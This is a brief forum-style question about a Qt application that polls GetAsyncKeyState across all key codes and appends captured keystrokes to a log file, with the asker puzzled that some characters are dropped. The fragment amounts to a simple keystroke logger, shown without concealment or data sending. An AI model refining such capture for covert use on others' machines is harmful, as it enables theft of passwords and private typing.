I'm trying to make an application with QT that I get the keys but although it works many times certain keys on my computer does not take them for example I write Hello how are you and I put Hoa coo these.
The code with which I capture the keys is check them and the other is to add as a string to a file:
if(num>=32)
{
log.open(QFile::Append);
cadenaa.append(num);
log.write(cadenaa);
cadenaa.clear();
log.close();
}
if(num==13){
log.open(QFile::Append);
log.write("\n");
log.close();
}
short comprobarTeclas()
{
short i = 0;
for(i = 0; i < 255; i++){
if(GetAsyncKeyState(i) == -32767)
return i;
}
return 0;
}
Example of a mainwindow form in qt:
#include "mainwindow.h"
#include "ui_mainwindow.h"
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
}
MainWindow::~MainWindow()
{
delete ui;
}